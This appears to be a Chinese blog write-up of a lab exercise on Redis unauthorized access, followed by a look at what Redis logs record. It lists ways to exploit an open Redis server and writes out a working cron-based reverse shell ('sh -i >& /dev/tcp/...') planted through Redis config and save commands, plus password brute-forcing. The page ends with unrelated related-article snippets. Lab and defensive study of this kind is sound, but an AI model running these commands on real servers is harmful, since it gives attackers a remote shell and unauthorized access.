redis未授权访问漏洞利用+redis日志分析

news/2024/11/19 22:53:40/

redis未授权访问漏洞利用+redis日志分析

redis未授权访问

远程连接redis

kali: redis-cli -h IP

redis常用语句

set key “value” 设置键值对

get key 获得值

incr intkey 数字类型值加1

keys * 获取当前数据库中所有的键

config set dir /home/test 设置工作目录

config set dbfilename redis.rdb 设置备份文件名

config get dir 查看工作目录

config get dbfilemane 查看备份文件名

save 进行一次操作的备份

flushall 删除所有数据

del key 删除键为key的数据

redis未授权访问利用方法

  1. 设置目录》写入一句话木马》保存到备份文件(写在网站目录下)
  2. 或者搞个定时任务反弹shell
  3. 或者直接写公钥(ssh直接冲!)
  4. 最后redis4.x之后可以通过c语言编译并加载恶意的.so文件(主从复制)

第一种利用方法

需要服务器开启web服务,使用redis数据备份功能结合web服务向网站根目录写入一句话木马从而得到网站的webshell

需要写入权限

第二种利用方法

通过redis数据备份写定时任务,通过定时任务反弹shell

需要root权限

第三种利用方法

通过redis数据备份功能写SSH公钥,实现免密登录linux服务器

需要root权限

安装redis客户端

下载: wget http://download.redis.io/releases/redis-2.8.17.tar.gz

解压: tar xzvf redis-2.8.17.tar.gz

进入目录: cd redis-2.8.17.tar.gz

编译: mack

进入src目录: cd src

将redis-cli复制到/usr/bin目录下:cp redis-cli /usr/bin/

将redis-server复制到/usr/bin目录下:cp redis-server /usr/bin/

开启redis服务

回到/redis-2.8.17.tar.gz目录下

redis-server redis.conf

image-20230522165245512

攻击机kali安装redis

和centos一样

反弹shell

这里试着写个定时任务反弹shell

测试连接

靶机ip:192.168.27.192

攻击机ip:192.168.27.129

redis-cli -h 192.168.27.192

image-20230522170056514

连接成功

写一个反弹shell

sh -i >& /dev/tcp/192.168.27.128/8023 0>&1

改成定时任务的格式

*/1 * * * * sh -i >& /dev/tcp/192.168.27.129/8023 0>&1

写入定时任务

先监听一下8023端口

nc -lvvp 8023

写入定时任务

set x “\n\n*/1 * * * * sh -i >& /dev/tcp/192.168.27.129/8023 0>&1 \n\n”

config set dbfilename root

config set dir /var/spool/cron

save

image-20230522170518711

等待漫长的一分钟

image-20230522170631107

拿到shell

日志审计

爆破redis密码

使用工具超级弱口令检查工具

image-20230522171849948

因为没有密码,所以任意密码可登陆,跑出来个qwerty

接下来给redis加上密码,admin123

关闭redis服务,gedit redis.conf 找到requirepass,把注释符去掉,密码改为admin123 保存退出

再次开启redis服务

image-20230522172025911

使用kali再连接一下试试

image-20230522172227477

需要密码了!

接着爆破

image-20230522172308768

搞出来啦!

用kali尝试一下

image-20230522172501825

成功

日志

image-20230522173118307

这里将日志保存到文件/tmp/log/redis.log,将notice换为debug模式

再tmp目录下mkdir log

然后再启动redis服务

下面继续爆破,然后查看日志

image-20230522173952782

可以看到大量的请求,但是看不出来是攻击,ip为192.168.27.191(windows)

image-20230522174053969

用kali去连接,然后随意操作一下

image-20230522174547391

看不到操作的内容

升级高版本redis!

wget https://github.com/redis/redis/archive/refs/tags/7.2-rc2.zip

后续操作同前面

将redis-server 移动到/usr/bin/

cp redis-server /usr/bin/redis-server2

使用redis-server2启动redis服务

image-20230522180143363

可以启动,然后修改一下redis.conf

image-20230522180331238

image-20230522180633275

将只允许本地连接注释掉,保护模式关掉,然后保存一下,再启动redis服务,再使用kali连接一下

image-20230522180735806

再向上面一样配置一下日志和密码,然后用kali登陆成功一下,失败一下看看日志

成功的日志如下

image-20230522182302013

登陆失败日志

image-20230522182600158


http://www.ppmy.cn/news/89141.html

相关文章

Linux-进程信号

Linux-进程信号 一,信号入门信号的概念生活中的信号技术应用角度的信号使用kill -l 查看信号列表信号的处理方式 二,信号产生通过终端按键产生信号Core Dumpcode dump标志位 通过系统调用向进程发信号killraiseabort 由软件条件产生信号SIGPIPESIGALRM 硬…

Redis-RDB/AOF

前言 ​ 为了防止数据丢失以及服务重启时能够恢复数据,Redis支持数据的持久化,主要分为两种方式,分别是RDB和AOF; 当然实际场景下还会使用这两种的混合模式。 ​ **Redis服务提供四种持久化存储方案:RDB、AOF、虚拟内存&#xf…

这才是网络安全最系统的学习路线(建议收藏)

01 什么是网络安全 网络安全可以基于攻击和防御视角来分类,我们经常听到的 “红队”、“渗透测试” 等就是研究攻击技术,而“蓝队”、“安全运营”、“安全运维”则研究防御技术。 无论网络、Web、移动、桌面、云等哪个领域,都有攻与防两面…

最大公约数

题目描述 给定两个正整数 A,B,求它们的最大公约数。 输入描述 第 11 行为一个整数 T,表示测试数据数量。 接下来的 T 行每行包含两个正整数 A,B。 1≤T≤10的5次方,1≤A,B≤10的9次方。 输出描述 输出共 T 行,每行包含一个整数&am…

必须掌握的基础10个Lambda表达式

必须掌握的基础10个Lambda表达式 1、集合遍历 以前处理的方式是这样的&#xff1a; //以前的方式 public static void old(){List<String> list Arrays.asList("wuhan", "tianjin", "beijing", "shanghai");for (String cit…

【013】C++数组之一维数值数组和二维数值数组

一维数值数组和二维数值数组 引言一、一维数值数组1.1、概念1.2、一维数值数组的定义1.3、一维数值数组的初始化1.4、一维数值数组的元素操作1.5、使用示例 二、二维数值数组2.1、概述2.2、二维数值数组的初始化2.3、二维数值数组的元素操作2.4、使用示例 总结 引言 &#x1f4…

Shell运维实战2-条件判断与函数

目录 Shell 条件测试与比较脚本条件测试文本测试表达式字符串测试表达式整数二元比较操作符逻辑操作符区别总结 if 语句Shell 函数基础执行 Shell 条件测试与比较 脚本条件测试 # -f判断文件是否存在&#xff0c;如果存在返回真&#xff0c;反之为假 # 一下结构类似于三元运算…

C Primer Plus第六章编程练习答案

学完C语言之后&#xff0c;我就去阅读《C Primer Plus》这本经典的C语言书籍&#xff0c;对每一章的编程练习题都做了相关的解答&#xff0c;仅仅代表着我个人的解答思路&#xff0c;如有错误&#xff0c;请各位大佬帮忙点出&#xff01; 1.编写一个程序&#xff0c;创建一个包…